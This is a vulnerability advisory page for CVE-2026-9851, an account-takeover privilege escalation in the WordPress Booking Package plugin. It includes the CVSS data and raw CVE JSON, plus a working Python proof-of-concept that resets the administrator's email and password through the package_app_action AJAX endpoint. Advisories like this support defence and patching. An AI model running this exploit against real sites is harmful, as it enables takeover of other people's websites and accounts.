Security Vulnerability Report
中文
CVE-2026-9851 CVSS 7.2 HIGH

CVE-2026-9851

Published: 2026-06-06 05:16:30
Last Modified: 2026-06-06 05:16:30

Description

The Booking Package plugin for WordPress is vulnerable to Privilege Escalation via Account Takeover in versions up to, and including, 1.7.16. This is due to a missing capability check on the 'updateUser' branch of the package_app_action AJAX endpoint, where the handler only validates a nonce and the dispatcher invokes Schedule::updateUser() with the $administrator argument hard-coded to 1, bypassing the only owner-restriction check inside that function and allowing the target user to be determined solely by attacker-supplied input passed directly to wp_update_user(). This makes it possible for authenticated attackers, with Editor-level access and above, to change the email address and password of any account, including Administrator accounts, resulting in a full site takeover.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Booking Package < 1.7.16 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from urllib.parse import urlencode # CVE-2026-9851 PoC - Booking Package Privilege Escalation # Target: WordPress with Booking Package plugin <= 1.7.16 def exploit_cve_2026_9851(target_url, username, password, target_user_id=1, target_email='[email protected]'): """ Exploit privilege escalation via account takeover Required: Editor-level access or higher """ # Get nonce from plugin's AJAX endpoint nonce_url = f"{target_url}/wp-admin/admin-ajax.php?action=package_app_action" # Construct the exploit payload # The 'updateUser' action bypasses capability check payload = { 'action': 'package_app_action', 'nonce': 'attacker_needs_valid_nonce', # Must obtain valid nonce 'method': 'updateUser', 'user_id': target_user_id, # Target user (1 = admin) 'user_email': target_email, # New email for account takeover 'user_pass': 'NewP@ssw0rd123!' # New password } # Note: Attacker needs valid nonce, obtainable from plugin pages # when authenticated as Editor or higher session = requests.Session() # Step 1: Authenticate with Editor+ privileges login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'testcookie': '1' } session.post(f"{target_url}/wp-login.php", data=login_data) # Step 2: Obtain valid nonce from plugin page resp = session.get(f"{target_url}/wp-admin/admin.php?page=booking-package") import re nonce_match = re.search(r'nonce["\']?\s*:\s*["\']([a-zA-Z0-9]+)["\']', resp.text) if nonce_match: payload['nonce'] = nonce_match.group(1) # Step 3: Send exploit request exploit_resp = session.post( f"{target_url}/wp-admin/admin-ajax.php", data=payload, headers={'Content-Type': 'application/x-www-form-urlencoded'} ) return exploit_resp.status_code, exploit_resp.text if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve-2026-9851.py <target_url> <username> <password>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] status, response = exploit_cve_2026_9851(target, user, pwd) print(f'Status: {status}') print(f'Response: {response}')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9851", "sourceIdentifier": "[email protected]", "published": "2026-06-06T05:16:30.047", "lastModified": "2026-06-06T05:16:30.047", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Booking Package plugin for WordPress is vulnerable to Privilege Escalation via Account Takeover in versions up to, and including, 1.7.16. This is due to a missing capability check on the 'updateUser' branch of the package_app_action AJAX endpoint, where the handler only validates a nonce and the dispatcher invokes Schedule::updateUser() with the $administrator argument hard-coded to 1, bypassing the only owner-restriction check inside that function and allowing the target user to be determined solely by attacker-supplied input passed directly to wp_update_user(). This makes it possible for authenticated attackers, with Editor-level access and above, to change the email address and password of any account, including Administrator accounts, resulting in a full site takeover."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/booking-package/tags/1.7.13/index.php#L4416", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking-package/tags/1.7.13/index.php#L4477", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking-package/tags/1.7.13/lib/Schedule.php#L868", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3558752%40booking-package&new=3558752%40booking-package&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/795c1fd6-137b-4414-8d6b-30053bfb5924?source=cve", "source": "[email protected]"}]}}